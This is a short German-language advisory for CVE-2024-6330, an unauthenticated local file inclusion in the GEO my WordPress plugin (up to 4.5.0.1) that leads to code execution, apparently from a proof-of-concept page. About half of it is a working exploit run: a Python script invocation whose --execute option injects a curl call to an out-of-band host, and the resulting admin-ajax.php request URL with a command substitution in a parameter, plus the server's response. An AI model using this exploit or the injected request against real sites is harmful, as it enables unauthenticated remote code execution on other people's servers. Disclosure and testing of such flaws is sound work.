
GEO my WordPress < 4.5.0.2 – Unauthentifizierte LFI zu RCE/PHAR-Deserialisierung
GEO my WordPress <= 4.5.0.1 - Nicht authentifizierte lokale Dateieinbindung
Das GEO my WP Plugin für WordPress ist in allen Versionen bis einschließlich 4.5.0.1 anfällig für lokale Dateieinbindung über den Parameter 'form[info_window_template][content_path]'. Dadurch können nicht authentifizierte Angreifer beliebige Dateien auf dem Server einbinden und ausführen, was die Ausführung von PHP-Code in diesen Dateien ermöglicht. Dies kann genutzt werden, um Zugriffskontrollen zu umgehen, sensible Daten zu erlangen oder eine Codeausführung zu erreichen, falls Bilder oder andere „sichere“ Dateitypen hochgeladen und eingebunden werden können.
python3 CVE-2024-6330.py --url https://wp-dev.ddev.site --proxy http://127.0.0.1:8080 --execute="curl http://2qtstva3iqdxwqryck6wh3wsqjwak08p.oast.site"
[*] Starting security test...
[*] Initial visit to https://wp-dev.ddev.site: 200
[+] Testing object_id: 1
[+] URL: https://wp-dev.ddev.site/wp-admin/admin-ajax.php?action=gmw_info_window_init&0=echo%20Command%20Output:%20$(curl http://2qtstva3iqdxwqryck6wh3wsqjwak08p.oast.site)
[+] Status Code: 200
[+] Response Content:
Command Output: <html><body>ivv900fnzbln0dem43z7zmzjjgigz</body></html>